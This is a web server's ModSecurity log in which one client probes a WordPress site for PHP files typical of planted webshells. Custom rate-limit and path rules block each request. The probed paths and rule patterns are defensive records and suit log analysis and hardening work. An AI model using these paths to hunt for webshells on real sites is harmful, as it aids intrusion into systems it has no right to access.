[Fri Dec 26 01:36:14.708368 2025] [:error] [pid 24864:tid 24935] [client 4.194.153.244:2887] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aU12Dsu59XOK5DpQQdCfQAAAAU8"]
[Fri Dec 26 01:36:15.014772 2025] [:error] [pid 24946:tid 24949] [client 4.194.153.244:3034] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aU12D1fyLYxv3Jn9S71PlwAAAEE"]
[Fri Dec 26 01:36:15.306672 2025] [:error] [pid 24864:tid 24923] [client 4.194.153.244:3051] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aU12D8u59XOK5DpQQdCfQgAAAUM"]
[Fri Dec 26 01:36:15.925517 2025] [:error] [pid 24946:tid 24952] [client 4.194.153.244:20660] [client 4.194.153.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aU12D1fyLYxv3Jn9S71PmQAAAEQ"]
[Fri Dec 26 01:36:16.482009 2025] [:error] [pid 24864:tid 24930] [client 4.194.153.244:2946] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aU12EMu59XOK5DpQQdCfRwAAAUo"]
[Fri Dec 26 01:36:16.837875 2025] [:error] [pid 24946:tid 24948] [client 4.194.153.244:2903] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aU12EFfyLYxv3Jn9S71PnQAAAEA"]
[Fri Dec 26 01:36:17.274369 2025] [:error] [pid 24946:tid 24950] [client 4.194.153.244:3030] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aU12EVfyLYxv3Jn9S71PoAAAAEI"]
[Fri Dec 26 01:36:17.702642 2025] [:error] [pid 24946:tid 24956] [client 4.194.153.244:2885] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aU12EVfyLYxv3Jn9S71PpQAAAEg"]
[Fri Dec 26 01:36:18.488662 2025] [:error] [pid 24863:tid 24906] [client 4.194.153.244:2952] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU12Eh8SaH2KMpp43vfyPQAAAM0"]
[Fri Dec 26 01:36:19.099785 2025] [:error] [pid 24864:tid 24922] [client 4.194.153.244:20608] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU12E8u59XOK5DpQQdCfTAAAAUI"]
[Fri Dec 26 01:36:19.602465 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:2890] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU12E1fyLYxv3Jn9S71PqgAAAEk"]
[Fri Dec 26 01:36:19.873165 2025] [:error] [pid 24946:tid 24954] [client 4.194.153.244:3052] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU12E1fyLYxv3Jn9S71PrAAAAEY"]
[Fri Dec 26 01:36:20.261599 2025] [:error] [pid 24946:tid 24955] [client 4.194.153.244:3066] [client 4.194.153.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aU12FFfyLYxv3Jn9S71PrQAAAEc"]
[Fri Dec 26 01:36:20.624450 2025] [:error] [pid 24946:tid 24971] [client 4.194.153.244:20700] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aU12FFfyLYxv3Jn9S71PsAAAAFc"]
[Fri Dec 26 01:36:21.034977 2025] [:error] [pid 24946:tid 24961] [client 4.194.153.244:2824] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aU12FVfyLYxv3Jn9S71PsgAAAE0"]
[Fri Dec 26 01:36:21.391964 2025] [:error] [pid 24862:tid 24866] [client 4.194.153.244:2921] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aU12Fbt-eeEEuo-2JKg16AAAAAA"]
[Fri Dec 26 01:36:21.874682 2025] [:error] [pid 24946:tid 24962] [client 4.194.153.244:2911] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aU12FVfyLYxv3Jn9S71PtQAAAE4"]
[Fri Dec 26 01:36:22.176799 2025] [:error] [pid 24862:tid 24871] [client 4.194.153.244:2991] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aU12Frt-eeEEuo-2JKg17AAAAAU"]
[Fri Dec 26 01:36:22.504784 2025] [:error] [pid 24946:tid 24967] [client 4.194.153.244:2886] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aU12FlfyLYxv3Jn9S71PuQAAAFM"]
[Fri Dec 26 01:36:22.870611 2025] [:error] [pid 24862:tid 24887] [client 4.194.153.244:2981] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aU12Frt-eeEEuo-2JKg17QAAABU"]
[Fri Dec 26 01:36:23.144085 2025] [:error] [pid 24946:tid 24954] [client 4.194.153.244:2970] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aU12F1fyLYxv3Jn9S71PvAAAAEY"]
[Fri Dec 26 01:36:23.486361 2025] [:error] [pid 24863:tid 24908] [client 4.194.153.244:2834] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aU12Fx8SaH2KMpp43vfyQgAAAM8"]
[Fri Dec 26 01:36:23.715433 2025] [:error] [pid 24863:tid 24912] [client 4.194.153.244:2910] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aU12Fx8SaH2KMpp43vfyRAAAANM"]
[Fri Dec 26 01:36:23.972122 2025] [:error] [pid 24864:tid 24924] [client 4.194.153.244:3007] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aU12F8u59XOK5DpQQdCfVQAAAUQ"]
[Fri Dec 26 01:36:24.354202 2025] [:error] [pid 24946:tid 24971] [client 4.194.153.244:2922] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aU12GFfyLYxv3Jn9S71PvwAAAFc"]
[Fri Dec 26 01:36:24.681739 2025] [:error] [pid 24946:tid 24960] [client 4.194.153.244:3065] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aU12GFfyLYxv3Jn9S71PwwAAAEw"]
[Fri Dec 26 01:36:24.909319 2025] [:error] [pid 24946:tid 24958] [client 4.194.153.244:2835] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aU12GFfyLYxv3Jn9S71PxgAAAEo"]
[Fri Dec 26 01:36:25.479117 2025] [:error] [pid 24946:tid 24949] [client 4.194.153.244:2909] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aU12GVfyLYxv3Jn9S71PyAAAAEE"]
[Fri Dec 26 01:36:25.774743 2025] [:error] [pid 24864:tid 24939] [client 4.194.153.244:2971] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aU12Gcu59XOK5DpQQdCfWAAAAVM"]
[Fri Dec 26 01:36:26.040926 2025] [:error] [pid 24946:tid 24965] [client 4.194.153.244:2969] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU12GlfyLYxv3Jn9S71PywAAAFE"]
[Fri Dec 26 01:36:26.302836 2025] [:error] [pid 24862:tid 24885] [client 4.194.153.244:20725] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU12Grt-eeEEuo-2JKg18wAAABM"]
[Fri Dec 26 01:36:26.513043 2025] [:error] [pid 24946:tid 24964] [client 4.194.153.244:2984] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU12GlfyLYxv3Jn9S71PzwAAAFA"]
[Fri Dec 26 01:36:26.792923 2025] [:error] [pid 24946:tid 24959] [client 4.194.153.244:2918] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU12GlfyLYxv3Jn9S71P0gAAAEs"]
[Fri Dec 26 01:36:27.102183 2025] [:error] [pid 24864:tid 24922] [client 4.194.153.244:2907] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aU12G8u59XOK5DpQQdCfXQAAAUI"]
[Fri Dec 26 01:36:27.370808 2025] [:error] [pid 24946:tid 24969] [client 4.194.153.244:2947] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aU12G1fyLYxv3Jn9S71P1wAAAFU"]
[Fri Dec 26 01:36:27.767230 2025] [:error] [pid 24946:tid 24968] [client 4.194.153.244:3061] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aU12G1fyLYxv3Jn9S71P2gAAAFQ"]
[Fri Dec 26 01:36:28.029247 2025] [:error] [pid 24864:tid 24921] [client 4.194.153.244:2961] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aU12HMu59XOK5DpQQdCfXgAAAUE"]
[Fri Dec 26 01:36:28.364370 2025] [:error] [pid 24946:tid 24949] [client 4.194.153.244:2906] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU12HFfyLYxv3Jn9S71P3gAAAEE"]
[Fri Dec 26 01:36:28.648836 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:2853] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU12HFfyLYxv3Jn9S71P4AAAAEk"]
[Fri Dec 26 01:36:28.897430 2025] [:error] [pid 24946:tid 24971] [client 4.194.153.244:2990] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU12HFfyLYxv3Jn9S71P4wAAAFc"]
[Fri Dec 26 01:36:29.172015 2025] [:error] [pid 24946:tid 24969] [client 4.194.153.244:2860] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU12HVfyLYxv3Jn9S71P5gAAAFU"]
[Fri Dec 26 01:36:29.626613 2025] [:error] [pid 24946:tid 24972] [client 4.194.153.244:2935] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aU12HVfyLYxv3Jn9S71P6QAAAFg"]
[Fri Dec 26 01:36:29.932866 2025] [:error] [pid 24946:tid 24958] [client 4.194.153.244:2989] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aU12HVfyLYxv3Jn9S71P7gAAAEo"]
[Fri Dec 26 01:36:30.235189 2025] [:error] [pid 24946:tid 24967] [client 4.194.153.244:2954] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aU12HlfyLYxv3Jn9S71P7wAAAFM"]
[Fri Dec 26 01:36:30.516141 2025] [:error] [pid 24946:tid 24953] [client 4.194.153.244:2929] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aU12HlfyLYxv3Jn9S71P8wAAAEU"]
[Fri Dec 26 01:36:30.828745 2025] [:error] [pid 24864:tid 24932] [client 4.194.153.244:2939] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU12Hsu59XOK5DpQQdCfYAAAAUw"]
[Fri Dec 26 01:36:31.181410 2025] [:error] [pid 24946:tid 24951] [client 4.194.153.244:3020] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU12H1fyLYxv3Jn9S71P9gAAAEM"]
[Fri Dec 26 01:36:31.651602 2025] [:error] [pid 24946:tid 24950] [client 4.194.153.244:3068] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU12H1fyLYxv3Jn9S71P-gAAAEI"]
[Fri Dec 26 01:36:31.911206 2025] [:error] [pid 24863:tid 24902] [client 4.194.153.244:2855] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU12Hx8SaH2KMpp43vfyTwAAAMk"]
[Fri Dec 26 01:36:32.193372 2025] [:error] [pid 24946:tid 24972] [client 4.194.153.244:3050] [client 4.194.153.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aU12IFfyLYxv3Jn9S71P_QAAAFg"]
[Fri Dec 26 01:36:32.462190 2025] [:error] [pid 24862:tid 24866] [client 4.194.153.244:2926] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU12ILt-eeEEuo-2JKg1-gAAAAA"]
[Fri Dec 26 01:36:32.840760 2025] [:error] [pid 24946:tid 24967] [client 4.194.153.244:2871] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU12IFfyLYxv3Jn9S71P_wAAAFM"]
[Fri Dec 26 01:36:34.102898 2025] [:error] [pid 24864:tid 24931] [client 4.194.153.244:2944] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU12Isu59XOK5DpQQdCfaQAAAUs"]
[Fri Dec 26 01:36:34.400793 2025] [:error] [pid 24863:tid 24901] [client 4.194.153.244:3029] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU12Ih8SaH2KMpp43vfyUQAAAMg"]
[Fri Dec 26 01:36:34.668634 2025] [:error] [pid 24864:tid 24938] [client 4.194.153.244:2671] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU12Isu59XOK5DpQQdCfbAAAAVI"]
